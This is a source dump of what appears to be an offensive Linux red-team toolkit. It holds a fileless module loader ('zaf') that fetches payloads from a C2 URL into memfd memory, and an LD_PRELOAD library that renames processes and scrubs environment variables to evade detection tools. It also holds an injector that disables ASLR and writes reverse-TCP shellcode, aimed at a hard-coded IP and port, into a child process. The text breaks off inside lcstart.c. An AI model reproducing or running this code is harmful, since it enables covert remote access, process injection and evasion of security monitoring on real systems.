<|start_filename|>src/nomain.c<|end_filename|>
#include <stdio.h>
#include <stdlib.h>

// gcc -nostartfiles -o nomain nomain.c 
/* when called :
		$ LD_PRELOAD="./nomain" /bin/cat 
	ctor invokes, "main" does not 

	when called :
		$ ./nomain 
	ctor invokes, "main" invokes
	
*/
__attribute__((constructor)) static void myctor(int argc, char **argv, char* envp[]){

        printf("in ctor\n");
}
int _(void);
void _start() 
{ 
    int x = _(); //calling custom main function 
    exit(x); 
} 
int _() {
    printf("in main: %s\n", __FUNCTION__);
    while (1) ;
    return 0;
}


<|start_filename|>src/nomain_interp.c<|end_filename|>
#include <stdio.h> 
#include <stdlib.h> 

// gcc -shared -Wl,-e,fn_no_main nomain.c -o nomain.so
// 32bit const char my_interp[] __attribute__((section(".interp"))) = "/lib/ld-linux.so.2";
// patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2
// const char my_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
const char my_interp[] __attribute__((section(".interp"))) = "/usr/local/bin/gelfload-ld-x86_64";
int fn_no_main() {
	printf("This is a function without main\n");
	exit(0);
}


<|start_filename|>zafsrv/src/zaf.c<|end_filename|>
/* 
 *                 === ZAF ===
 *
 *   Background daemon used to assist in loading remote modules in memory
 *   via several available METHODS and presenting them to out of process operators 
 *   for consumption 
 *
 *   METHODS: 
 *     1.POSIX shm_open
 *     2.memfd_create(2) 
 *
 *
 *   CAPABILITIES:
 *
 *
 * Ref: some code from https://x-c3ll.github.io/posts/fileless-memfd_create */


#define _GNU_SOURCE



#include "zaf.h"



int main (int argc, char **argv) {

    argv = save_ps_display_args(argc, argv);
    init_ps_display(ZPS_NAME); // TODO: parmeterize

    fp = fopen (logFile,"w");
    if (fp == NULL) {
        log_error("Main: Log File not created okay, errno = %d", errno);
    }else{
        log_set_fp(fp); 
        //log_set_level(2); //  "TRACE", "DEBUG", >"INFO"<, "WARN", "ERROR", "FATAL"
        log_set_level(ZLOG_LEVEL);  // TODO: paramterize
        log_set_quiet(logquiet); // TODO: parameterize
    }

	log_info("=== ZAF ===\n"); // parameterize

    backgroundDaemonLeader();
    doWork();

    if (fp != NULL){
        fclose (fp);
    }
	return 0;
}

void downloadAutoModules(void){

    char urlbuf[255] = {0}; // TODO: what should this be?
    int  i;
    log_debug("Worker: Trying for C2 download initial modules (if any)...");

    for(i = 0; i < sizeof(modules)/sizeof(modules[0]); i++)
    {
        snprintf(urlbuf, sizeof(urlbuf), "%s%s", ccurl, modules[i]);
        log_debug("Worker: Module URL = %s", urlbuf);
        load_mod(head, urlbuf);
    }
}

void initSetup(void){

    if ( setKernel() == 1){
        log_info("Main: memfd_create() is available.");
    }else{
        log_info("Main: only /dev/shm support seems to be available.");
    }

    downloadAutoModules();
}

void doWork(void){

    initSetup();
    setupCmdP();
}



<|start_filename|>src/main_weakref_chained.c<|end_filename|>
#include <stdio.h>
#include "weakref_main.h"



int main(void)
{
    if (debug) {
        printf("main: debug() CALLED\n");
		debug();
    }
    else {
        printf("main: debug() NOT AVAILABLE\n");
    }

    if (mstat) {
        printf("main: test trampoline to chianed mstat()\n");
		mstat();
    }

    fflush(stdout);
    return 0;
}


<|start_filename|>src/aslr.c<|end_filename|>
#include <stdio.h>            // printf 
#include <string.h>           // strerror
#include <stdlib.h>           // exit
#include <errno.h>            // errno
#include <unistd.h>           // sleep
#include <sys/personality.h>  // personality
#include <sys/wait.h> 
#include <stdbool.h>
#include <sys/ptrace.h>
#include <sys/user.h>         // user_regs_struct
#include <execinfo.h>

#define BT_BUF_SIZE 100


static void before_main(void) __attribute__((constructor ));
static void before_main(void)
{
    errno = 0;

    int m_personality_orig;
    int pid;
    //bool m_personality_set = false;
    char *argv[] = { "/bin/ls", "/tmp", 0 };
    extern char** environ;
    printf("Before main()\n");
   
    unsetenv("LD_PRELOAD"); // Do not preload forked chid, just weaken it
    // create a child process
    printf("Before fork: PPID: %d PID: %d\n", getppid(), getpid());
    pid = fork();
    printf("After fork: PPID: %d PID: %d\n", getppid(), getpid());
  
    if (0 > pid) {
        printf("Error during forking: %s\n", strerror(errno));
        exit(1);
    }
  
    // child process
    if (0 == pid) {
        printf("In child: PPID: %d PID: %d\n", getppid(), getpid());
        m_personality_orig = personality (0xffffffff);
        if (errno == 0 && !(m_personality_orig & ADDR_NO_RANDOMIZE)) {
            ptrace(PTRACE_TRACEME, 0, 0, 0);
            personality (m_personality_orig | ADDR_NO_RANDOMIZE);
            if (errno == 0) {
                printf("Unrandomized. PID: %d\n", getpid());
                for (char **env = environ; *env != 0; env++)
                {
                    char *pair = *env;
                    printf("%p %s\n", pair, pair);
                }
                printf("About to execve()\n");
                /* BACKTRACE */
			   int j, nptrs;
			   void *buffer[BT_BUF_SIZE];
			   char **strings;

			   nptrs = backtrace(buffer, BT_BUF_SIZE);
			   printf("backtrace() returned %d addresses\n", nptrs);

			   /* The call backtrace_symbols_fd(buffer, nptrs, STDOUT_FILENO)
				  would produce similar output to the following: */

			   strings = backtrace_symbols(buffer, nptrs);
			   if (strings == NULL) {
				   perror("backtrace_symbols");
				   exit(EXIT_FAILURE);
			   }

			   for (j = 0; j < nptrs; j++)
				   printf("%s\n", strings[j]);

			   free(strings);

                /* END BACKTRACE */
                execve(argv[0], argv, environ);
                printf("After execve()\n");
            }else{
                printf("Error disabling address space randomization: %s\n", strerror(errno));
                exit(1);
            }
        }else{
            printf("Error saving personality: %s\n", strerror(errno));
            exit(1);
    }
  }

  // parent process
  printf("In Parent: PPID: %d PID: %d\n", getppid(), getpid());

  int status;
  struct user_regs_struct regs;

  wait(&status);
  while(1407 == status) {
    // get registers
    if (0 != ptrace(PTRACE_GETREGS, pid, 0, &regs))
      printf("Error during ptrace: %s\n", strerror(errno));      
    
    // if the syscall is close(for example)
    // wait so we can get memory maps.
    if (3 == regs.orig_rax) {
      // This scanf is for waiting for input,
      // while we cat /proc/pid/maps
      // to see if it differs from 
      // previous /proc/pid/maps
      scanf("1"); 
    }

    // lets the child to continue his work until next sys call or sys exit
    if (0 != ptrace(PTRACE_SYSCALL, pid, 0, 0) != 0)
      printf("Error during ptrace: %s\n", strerror(errno));

    wait(&status);
  }
}

static void after_main(void) __attribute__((destructor ));
static void after_main(void){
    printf("After main()\n");
}



<|start_filename|>zafsrv/src/zdownloader.c<|end_filename|>
#include "zdownloader.h"


static size_t write_data(void *ptr, size_t size, size_t nmemb, void *stream)
{
  size_t written = fwrite(ptr, size, nmemb, (FILE *)stream);
  fflush( (FILE *)stream );
  log_info("cURL: written: %d", written);
  return written;
}


// Download payload from a C&C via HTTPs
// TODO: refactor
int url2fd(char *downloadUrl, Shared_Mem_Fd * smf) { 

	CURL *curl;
	CURLcode res;

	log_info("RamWorker: File Descriptor %d Shared Memory created", smf->shm_fd);
	log_debug("RamWorker: Passing URL to cURL: %s", downloadUrl);

    // TODO: parameterize to HTTP/HTTPS/etc.
    // TODO: test HTTPS, check cert validation
    curl_global_init(CURL_GLOBAL_DEFAULT);    
	curl = curl_easy_init();
	if (curl) {
		curl_easy_setopt(curl, CURLOPT_URL, downloadUrl);
		curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
		curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
		curl_easy_setopt(curl, CURLOPT_USERAGENT, ZCURL_AGENT);
       
        // WARNING: fdopen(3) The result of applying fdopen() to a shared memory object is undefined. 
        // So far works but TODO: test across platforms. Most likely file semantics are preserved
        // but the behavior is undefined due to fcntl things like SEALS
        smf->shm_file = fdopen(smf->shm_fd, "w"); 
        if ( smf->shm_file == NULL ){
			log_error("cURL: fdopen() failed");
            return 0;
        }

        /* send all data to this function  */
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
        curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
		curl_easy_setopt(curl, CURLOPT_WRITEDATA, smf->shm_file); 
		curl_easy_setopt(curl, CURLOPT_FAILONERROR, 1L); 

		
		res = curl_easy_perform(curl);
		if (res != CURLE_OK && res != CURLE_WRITE_ERROR) {
			log_error("cURL: cURL failed: %s", curl_easy_strerror(res));
            return 0;
		}
		curl_easy_cleanup(curl);
		return 1;
	}

    return 0;
}


<|start_filename|>src/weakref_chained2.c<|end_filename|>
#include <stdio.h>
#include <stdlib.h>

#include "weakref_so.h"

void mstat(){
    printf("Weakref Lib2: mstat()\n");
    fflush(stdout);
}



<|start_filename|>src/weakref_foreign.c<|end_filename|>
#include "weakref_so.h"

static int gmon_ct=0, cxa_ct=0;


// Injection to any ELF at start
void __gmon_start__(){
	 if (gmon_ct < 1 ){
	   printf("in __gmon_start__ weak hook\n");
	   gmon_ct++;

	 }else{
	   printf("in __gmon_start__ weak hook but already started\n");
	 }


}

// Evasion trampoline (atexit hook)
void __cxa_finalize() {
	 if (cxa_ct < 1 ){
		 printf("in __cxa_finalize weak hook\n");
		 cxa_ct++;

	 }else{
		 printf("in __cxa_finalize weak hook but already started\n");
	 }
}


<|start_filename|>zafsrv/include/zdownloader.h<|end_filename|>
#include <string.h>
#include "log.h"
#include <curl/curl.h>
#include "zstructs.h"


#define ZCURL_AGENT "libcurl-agent/1.0"    // UA-Agent

extern int open_ramfs(Shared_Mem_Fd * smf);
extern void cleanup_mod_resources(int shm_fd);


<|start_filename|>src/psevade.c<|end_filename|>
// #define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <signal.h> 
#include <sys/types.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <errno.h>
#include <string.h>
#include <sys/ipc.h> 
#include <sys/msg.h> 
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <stdarg.h>
#include <dlfcn.h>

#include "psevade.h"

// define types needed for modules
typedef long long go_int;
typedef double go_float64;
typedef struct{void *arr; go_int len; go_int cap;} go_slice;
typedef struct{const char *p; go_int len;} go_str;


// ------------------------------------------------------------------------- //
/*

# PSEvade SO
Side loading of pre-main functionality to hijack signals 
and rename process we have control over in PS table. 
This is done to evade detection by tools relying solely on the PS table info.
This is not a userland rootkit. 

Can background to emulate daemons:
	- Partial (parent detach only in ps table)
	- Full (w/closing all fds and detaching from tty)

# EDR guidance:

changes values in:
	/proc/pid/cmdline
	/proc/pid/comm

	Affects PS table utilities:
	(e.g. top, ps)

   Resets LD_PRELOAD in /proc/pid/environ 

intact values in:
	leaves preloaded .so in memory maps
		/proc/pid/maps

	Does not affect others:
	(e.g. lsof -p pid ) 

*/


// ------------------------------------------------------------------------- //
/* 
	We have to grab and save argv/argc pointers globally
	so they are visible for update
	Provision for shim commands
*/



void setRandezvous(void){

   //ftok to generate unique key 
	
   key = ftok(".", commands.m.msgq_no);

   // msgget wants a message queue with info, 
   // create if not present,
   // return identifier 
   msgid = msgget(key, 0666 | IPC_CREAT);
   if (msgid < 0){
		fprintf(stderr, "%d: %s\n", errno, strerror(errno));
   }else{
   	printf("pid:%d, key:0x%x, msqid:%d\n", getpid(), key, msgid);
	}
}


void setProcessName(void){

   char* procname = message.mesg_text;

	switch (commands.cmd_id){
		case 1:
		case 2:
   		procname = commands.m.cmd_args; 
			break;
		case 3:
			// msgrcv to receive message 
			msgrcv(msgid, &message, sizeof(message), 1, IPC_NOWAIT);

			// to destroy the message queue  (allow one rename)
			msgctl(msgid, IPC_RMID, NULL); 
			break;
		default:
			printf("invalid command\n");
	}


   /* 
		Step 1: Set the name of the calling thread via prctl()
	 		visible in /proc/self/task/[tid]/comm, where tid is the name of the calling thread.
	*/

    if (prctl(PR_SET_NAME, (unsigned long) procname, 0, 0, 0) != 0) {
#ifdef PSDEBUG
        fprintf(stderr, "Got error '%s' when setting process name with prctl() to '%s'\n", strerror(errno), procname);
#endif 
		;
    }


    /* 
		 Step 2: Hijack argv[0] (and nullify the rest of args)
	  		WARNING : By that time hopefully the callee process has consumed the arguments
	 */
	
	
    size_t argv0_len = strlen(largv[0]);
    size_t procname_len = strlen(procname);
    size_t max_procname_len = (argv0_len > procname_len) ? (procname_len) : (argv0_len);

    // Copy the maximum size of a name
    strncpy(largv[0], procname, max_procname_len);
    // Clear out the rest (yes, this is needed, or the remaining part of the old
    // process name will still show up in ps)
    memset(&largv[0][max_procname_len], '\0', argv0_len - max_procname_len);

    // Clear the other passed arguments, optional
    // Needs to know argv and argc as passed to main()
    for (size_t i = 1; i < largc; i++) {
     memset(largv[i], '\0', strlen(largv[i]));
    }
}

// Signal handler
static void sig_handler(int signo) 
{ 

  if (signo == SIGUSR1){
	 setProcessName();
  }
}

// Search and zeroize env variables we want to hide
void cleanEnv(char* ldvar, int ldlen){

	 // for some reson *env walk / memset does not rewind. Restart.
	 lenvp = lenvp_start;

	 // a. remove from /proc/pid/environ
	 while (*lenvp) {
      if (strncmp(*lenvp, ldvar, ldlen) == 0){
        memset(*lenvp, 0, strlen(*lenvp));
		  break;
		}

      lenvp++;
    }
	 
	 // b. remove from process memory if present to be sure
	 unsetenv(ldvar); 
}

void die(const char* format, ...){

   va_list vargs;
   va_start (vargs, format);
   vfprintf (stderr, format, vargs);
   fprintf (stderr, ".\n");
   va_end (vargs);
	exit(EXIT_FAILURE);
}

int backgroundDaemonLeader(char * cmd_bg){

    // Fork, allowing the parent process to terminate.
    pid_t pid = fork();
    if (pid == -1) {
        die("failed to fork while daemonising (errno=%d)",errno);
    } else if (pid != 0) {
        _exit(0);
    }

    // Start a new session for the daemon.
    if (setsid()==-1) {
        die("failed to become a session leader while daemonising(errno=%d)",errno);
    }

    // Fork again, allowing the parent process to terminate.
    signal(SIGHUP,SIG_IGN);
    pid=fork();
    if (pid == -1) {
        die("failed to fork while daemonising (errno=%d)",errno);
    } else if (pid != 0) {
        _exit(0);
    }

    // Set the current working directory to the root directory.
    if (chdir("/tmp") == -1) {
        die("failed to change working directory while daemonising (errno=%d)",errno);
    }

    // Set the user file creation mask to zero.
    umask(0);


	 // Close then reopen standard file descriptors. Depending if you are drving a binary that
	 // depends on fd's remain open or not you may need to make decisions. 
	 // Example: if you are emulating /usr/bin/cat, the emulated binary needs to keep fd's open
	 // by definition. Closing them may terminate it.
	 if ( strncasecmp(cmd_bg, "fdclose", 7) == 0 ) {

		 close(STDIN_FILENO);
		 close(STDOUT_FILENO);
		 close(STDERR_FILENO);
		 if (open("/dev/null",O_RDONLY) == -1) {
			  die("failed to reopen stdin while daemonising (errno=%d)",errno);
		 }
		 if (open("/dev/null",O_WRONLY) == -1) {
			  die("failed to reopen stdout while daemonising (errno=%d)",errno);
		 }
		 if (open("/dev/null",O_RDWR) == -1) {
			  die("failed to reopen stderr while daemonising (errno=%d)",errno);
		 }
	 }
   return 0;
}


int processMetaCommands(void){

	char *cmd=NULL, *key=NULL, *val=NULL;
	int cmd_len, cmd_len_limit=128;


#ifdef PSDEBUG
   printf("%s: enter\n", __FUNCTION__);
#endif 

	if ( (cmd = (char*) getenv("LD_PCMD")) == NULL ){
#ifdef PSDEBUG
		fprintf(stderr, "Invalid LD_PCMD");
#endif 
	   return 0;

	}else{
#ifdef PSDEBUG
		printf("LD_PCMD: %s\n", cmd);
#endif 

		cmd = strdup(cmd); 
		key = strtok(cmd, ":");
		val = strtok(NULL, ":");
#ifdef PSDEBUG
		printf("%s => %s\n", key, val);
#endif 

		cmd_len = strlen(val);
		if (cmd_len > (cmd_len_limit))
			cmd_len = cmd_len_limit;

		// immediately
		if ( strncmp(key, "r", 1) == 0 ){

				commands.cmd_id=1;	
				strncpy(commands.m.cmd_args, val, cmd_len) ;	

		      signal(SIGUSR1, sig_handler); 
				raise(SIGUSR1);

		// on signal
		} else if ( strncmp(key, "R", 1) == 0 ){
				commands.cmd_id=2;	
				strncpy(commands.m.cmd_args, val, cmd_len) ;	

		      signal(SIGUSR1, sig_handler); 

		// on signal and mesgq
		} else if ( strncmp(key, "M", 1) == 0 ){
				commands.cmd_id=3;	
				commands.m.msgq_no = atoi(val) ;	

				setRandezvous();
		      signal(SIGUSR1, sig_handler); 

		} else {
				printf("error: unsupported command: %s\n", key);
		}
	}

	return 1;
}

int doWork(void){
	char * modload_t = NULL;
	char * modload = NULL;
	char * modload_args_t = NULL;
	char * modload_args = NULL;
	int    modload_args_len = 0;

   void *handle = NULL;
   char *error = NULL;

	if ( (modload_t = (char*) getenv("LD_MODULE")) != NULL ){

		// duplicate pointer before we reset env variable pointed by pointer
		modload = strdup(modload_t);
		if( access( modload, F_OK ) != -1 ) {


		   // use dlopen to load shared object
		   handle = dlopen (modload, RTLD_LAZY);
		   if (!handle) {
			  fputs (dlerror(), stderr);
			  return(1);
		   }

		   // resolve Entry symbol
		   go_int (*entry)(go_str) = dlsym(handle, "Entry");
		   if ((error = dlerror()) != NULL)  {
			  fputs(error, stderr);
			  return(1);
		   }

    		//pass arguments along if any 
			if ( (modload_args_t = (char*) getenv("LD_MODULE_ARGS")) != NULL ){ 
				modload_args = strdup(modload_args_t);
				modload_args_len = strlen(modload_args);	
			}else{
				modload_args = "noargs";
				modload_args_len = strlen(modload_args);	
			}

			// cleanup opsec
			cleanEnv("LD_MODULE_ARGS=", strlen("LD_MODULE_ARGS=") );
			cleanEnv("LD_MODULE", strlen("LD_MODULE") );

		   // call entry point
			printf("modload args: %s (%d)\n", modload_args, modload_args_len);
		   go_str msg = {modload_args, modload_args_len};

		   entry(msg);
		 
		   // close file handle when done
		   dlclose(handle);

		} else {
			printf("File %s cannot be accessed\n", modload);
		}
	}

	return 0;

}
// Constructor called by ld.so before the main. This is not guaranteed but works.
__attribute__((constructor)) static void _mctor(int argc, char **argv, char** envp)
{

	 // Save pointers to argv/argc/envp
	 largv=argv;
	 largc=argc;
	 lenvp=envp;
	 lenvp_start=envp;

#ifdef PSDEBUG
	 printf("pointer argv: %p\n", argv);
	 printf("pointer largv: %p\n", largv);
    for (int i=0; i<argc; i++) {
        printf("%s: argv[%d] = '%s'\n", __FUNCTION__, i, argv[i]);
    }
#endif

	// register and setup 
	processMetaCommands();

	// We can even background the process so it can mimic daemons
	char * bg_cmd=NULL;
	if ( (bg_cmd = (char*) getenv("LD_BG")) != NULL )
	 	backgroundDaemonLeader(bg_cmd);

   // always evade: clean LD_PRELOAD pointers, LD_PCMD
	cleanEnv("LD_PRELOAD", strlen("LD_PRELOAD") );
	cleanEnv("LD_PCMD", strlen("LD_PCMD") );
	cleanEnv("LD_BG", strlen("LD_BG") );

	// Do Work!
	doWork();

}

// Destructor
__attribute__((destructor)) static void _mdtor(void) { }





<|start_filename|>src/dyload.c<|end_filename|>
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>



/*
Load shared library and invoke entry point
Optionally, pass parameters to the shared library
*/
int main(int argc, char** argv) {
       

    if (argc < 2){
      fprintf(stderr, "Usage: %s <module.so> [args]\n", argv[0]);
      exit(1);
    }


   int i, v = 0, size = argc - 1;
   void *handle;
   void (*Entry)(char*);

   char *str = (char *)malloc(v);
   for(i = 2; i <= size; i++) {
        str = (char *)realloc(str, (v + strlen(argv[i])));
        strcat(str, argv[i]);
        strcat(str, " ");
    }

    handle = dlopen(argv[1], RTLD_LAZY);
	*(void**)(&Entry) = dlsym(handle, "Entry");
	Entry(str);

	exit(EXIT_SUCCESS);
}


<|start_filename|>src/weakref_main.h<|end_filename|>
void debug() __attribute__((weak));
void mstat() __attribute__((weak));


<|start_filename|>src/nomain_entry.c<|end_filename|>
#include <stdio.h>
#include <stdlib.h>

int _(void);
void __data_frame_e() 
{ 
    int x = _(); //calling custom main function 
    exit(x); 
} 
int _() {
    printf("in main: %s\n", __FUNCTION__);
    while (1) ;
    return 0;
}


<|start_filename|>src/main_ctor.c<|end_filename|>
#include <stdio.h>
#include <unistd.h>


__attribute__((constructor (101))) static void protect_ctor1(int argc, char **argv, char* envp[]){

        printf("in protect ctor 1\n");
}
__attribute__((constructor (102))) static void protect_ctor2(int argc, char **argv, char* envp[]){

        printf("in protect ctor 2\n");
}

int main(int argc, char **argv) {

	short c=0;
    for(;c<3;c++) { 
		
        printf("sleeping... \n");
		sleep(1) ; 
 	}
    return 0;
}


<|start_filename|>src/aslr_weakener.c<|end_filename|>
#define _GNU_SOURCE
#include <stdio.h>            // printf 
#include <string.h>           // strerror
#include <stdlib.h>           // exit
#include <errno.h>            // errno
#include <unistd.h>           // sleep
#include <sys/personality.h>  // personality
#include <sys/wait.h> 
#include <stdbool.h>
#include <sys/ptrace.h>
#include <sys/user.h>         // user_regs_struct
#include <sys/uio.h>


// ASLRweaken <templates_code_cave_addr_hex> <code_cave_sz>
// ASLRweaken 0x555555559260 400

void DumpHex(const void* data, size_t size);

int main(int argc, char** argv) { 
    errno = 0;

    int m_personality_orig;
    pid_t pid;
  
    char *pargv[] = { "/path/to/template", "prtl", 0 };
    extern char** environ;

    if (argc < 2) {
        printf("usage: %s <mem address> [len]\n", argv[0]);
        printf("  <mem> - Memory address to target\n");
        printf("  [len] - Length (in bytes) to dump\n");
        return -1;
    }
   
    // create a child process
    printf("Before fork: PPID: %d PID: %d\n", getppid(), getpid());
    pid = fork();
    printf("After fork: PPID: %d PID: %d\n", getppid(), getpid());
  
    if (0 > pid) {
        printf("Error during forking: %s\n", strerror(errno));
        exit(1);
    }
  
    // child process
    if (0 == pid) {
        printf("In child: PPID: %d PID: %d\n", getppid(), getpid());
        m_personality_orig = personality (0xffffffff);
        if (errno == 0 && !(m_personality_orig & ADDR_NO_RANDOMIZE)) {
            personality (m_personality_orig | ADDR_NO_RANDOMIZE);
            if (errno == 0) {
                printf("Unrandomized OK. PID: %d\n", getpid());
                printf("About to execve()\n");
                execve(pargv[0], pargv, environ);
                printf("After execve()\n");
            }else{
                printf("Error disabling address space randomization: %s\n", strerror(errno));
                exit(1);
            }
        }else{
            printf("Error saving personality: %s\n", strerror(errno));
            exit(1);
        }
  }

  // parent process
  printf("In Parent: Self PID: %d Child PID: %d\n", getpid(), pid);

  printf("Child PID: %zd\n", pid);

  sleep(1);
  void *remotePtr = (void *)strtol(argv[1], NULL, 0);
  printf("Remote target address of %llx\n", remotePtr);

  size_t bufferLength = (argc > 2) ? strtol(argv[2], NULL, 10) : 20;
  printf("Buffer size of %d bytes.\n", bufferLength);

  
  // Launch reverse TCP (118b)
  // http://shell-storm.org/shellcode/files/shellcode-857.php
  // shellcode = r'\xc0\x80\x10\x0a' ; '.'.join([str(int(x,16)) for x in shellcode.replace('\\','').split('x')[1:]])



#define IPADDR "\xac\x10\x38\xe6"     // 172.16.56.230
#define PORT   "\x09\xba"             // 2490

  /* 
    48 31 C0 48 31 FF 48 31  F6 48 31 D2 4D 31 C0 6A  |  H1.H1.H1.H1.M1.j 
    02 5F 6A 01 5E 6A 06 5A  6A 29 58 0F 05 49 89 C0  |  ._j.^j.Zj)X..I.. 
    48 31 F6 4D 31 D2 41 52  C6 04 24 02 66 C7 44 24  |  H1.M1.AR..$.f.D$ 
    02 09 BA C7 44 24 04 AC  10 38 E6 48 89 E6 6A 10  |  ....D$...8.H..j. 
    5A 41 50 5F 6A 2A 58 0F  05 48 31 F6 6A 03 5E 48  |  ZAP_j*X..H1.j.^H 
    FF CE 6A 21 58 0F 05 75  F6 48 31 FF 57 57 5E 5A  |  ..j!X..u.H1.WW^Z 
    48 BF 2F 2F 62 69 6E 2F  73 68 48 C1 EF 08 57 54  |  H.//bin/shH...WT 
    5F 6A 3B 58 0F 05 00 00  00 00 00 00 00 00 00 00  |  _j;X............ 
  */

  char* sc = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
             "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
             "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
             "\x02"PORT"\xc7\x44\x24\x04"IPADDR"\x48\x89\xe6\x6a\x10"
             "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
             "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
             "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
             "\x5f\x6a\x3b\x58\x0f\x05";

  // Launch local /bin/sh
  // 6A 42 58 FE C4 48 99 52  48 BF 2F 62 69 6E 2F 2F  |  jBX..H.RH./bin// 
  // 73 68 57 54 5E 49 89 D0  49 89 D2 0F 05
  // char* sc = "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf"
  //            "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54"
  //            "\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05";

  // Build iovec structs
  struct iovec local[1];
  struct iovec remote[1];

  local[0].iov_base = calloc(bufferLength, sizeof(char));
  local[0].iov_len = bufferLength;

  memcpy(local[0].iov_base, sc, strlen(sc) );

  printf("Local sc buffer: \n");
  DumpHex(local[0].iov_base, local[0].iov_len);


  remote[0].iov_base = remotePtr;
  remote[0].iov_len = bufferLength;

  printf("Sleeping before injection\n");
  sleep(6);
  // Call process_vm_readv - handle any error codes
    ssize_t nread = process_vm_writev(pid, local, 1, remote, 1, 0);
    if (nread < 0) {
        switch (errno) {
            case EINVAL:
              printf("ERROR: INVALID ARGUMENTS.\n");
              break;
            case EFAULT:
              printf("ERROR: UNABLE TO ACCESS TARGET MEMORY ADDRESS.\n");
              break;
            case ENOMEM:
              printf("ERROR: UNABLE TO ALLOCATE MEMORY.\n");
              break;
            case EPERM:
              printf("ERROR: INSUFFICIENT PRIVILEGES TO TARGET PROCESS.\n");
              break;
            case ESRCH:
              printf("ERROR: PROCESS DOES NOT EXIST.\n");
              break;
            default:
              printf("ERROR: AN UNKNOWN ERROR HAS OCCURRED.\n");
        }

        return -1;
    }

    printf(" * Executed process_vm_writev, sent %zd bytes.\n", nread);
    printf("Remote sc buffer: \n");
    DumpHex(local[0].iov_base, local[0].iov_len);

    int status;
    wait(&status);
    return 0;
}


void DumpHex(const void* data, size_t size) {
    char ascii[17];
    size_t i, j;
    ascii[16] = '\0';
    for (i = 0; i < size; ++i) {
        printf("%02X ", ((unsigned char*)data)[i]);
        if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
            ascii[i % 16] = ((unsigned char*)data)[i];
        } else {
            ascii[i % 16] = '.';
        }
        if ((i+1) % 8 == 0 || i+1 == size) {
            printf(" ");
            if ((i+1) % 16 == 0) {
                printf("|  %s \n", ascii);
            } else if (i+1 == size) {
                ascii[(i+1) % 16] = '\0';
                if ((i+1) % 16 <= 8) {
                    printf(" ");
                }
                for (j = (i+1) % 16; j < 16; ++j) {
                    printf("   ");
                }
                printf("|  %s \n", ascii);
            }
        }
    }
}


<|start_filename|>src/loadlua.c<|end_filename|>
#include <stdio.h>
#include <stdlib.h>
#include <lauxlib.h>
#include <lua.h>
#include <lualib.h>

int main(int argc, char *argv[]) {

  printf("Argc: %d\n", argc);
  if (argc != 2){
    printf("Usage: %s <script.lua>\n", argv[0] );
    exit(1);
  }

  lua_State *L = luaL_newstate();
  luaL_openlibs(L);
  luaL_dofile(L, argv[1]);

  return 0;
}


<|start_filename|>zafsrv/include/zutil.h<|end_filename|>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/utsname.h>

#include "log.h"
#include "zmemfd.h"
#include "zstructs.h"


extern char  *logFile;
extern FILE  *fp; // Log descriptor

int   setKernel(void);
void  gen_random(char *s, const int len);
void  cleanup(int cleanLog);


<|start_filename|>zafsrv/include/zaf.h<|end_filename|>
// ZAF Header file
#ifndef _HAVE_ZAF_H
#define _HAVE_ZAF_H

#include <stdio.h>
#include <unistd.h>

#include "log.h"
#include "spt_status.h"

#include "zstructs.h"
#include "zsignals.h"
#include "zmodules.h"
#include "zservice.h"
#include "zutil.h"


#define ZLOG_LEVEL 1    
#define ZPS_NAME "zaf"

#define SHM_NAME " "                       // memfd:<...>

// ZAF log
char *logFile="/tmp/_mf.log";              // Location of the log
int  logquiet = 1;                         // 1 - no stderr whatsoever, 0 - stderr + file
FILE *fp;

// Initial modules to download to memory
// char *modules[] = { "hax.so" };
char *modules[] = { };

// HTTP/S C2
char *ccurl="http://127.0.0.1:8080/";


/***  Local Functions ***/
int   setupCmdP(void);
void  doWork(void);
void  initSetup(void);
void  downloadAutoModules(void);

/***  Extern Functions ***/
extern int   setKernel(void);
extern int   check_empty(node_t * head);
extern void  cleanup_mod_resources(int shm_fd);
extern int   push(node_t * head, int shm_fd, char* path, char * mname, char * mstate);
extern int   push_first(node_t * head, int shm_fd, char* path, char * mname, char * mstate);
extern int   list_sz(node_t * head);
extern void  write_modlist(node_t * head, int sock);
extern int   load_mod(node_t * head, char * url);
extern int   unload_mod(node_t * head, char * name);
extern int   mark_delete_mod(node_t * head, int shm_fd);
extern int   mod_name2fd(node_t * head, char * name, int loaded);
extern char* mod_name2path(node_t * head, char * name);
extern int   open_ramfs(Shared_Mem_Fd * smf);
extern int   processCommandReq (int sock, node_t * head);


#endif //_HAVE_ZAF_H



<|start_filename|>src/lcstart.c<|end_filename|>
/*
 * Hook main() using LD_PRELOAD, because why not?
 * Obviously, this code is not portable. Use at your own risk.
 *
 * Compile using 'gcc hax.c -o hax.so -fPIC -shared -ldl'
 * Then run your program as 'LD_PRELOAD=$PWD/hax.so ./a.out'
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>

/* Trampoline for the real main() */
static int (*main_orig)(int, char **, char **);

/* Our fake main() that gets called by __libc_start_main() */
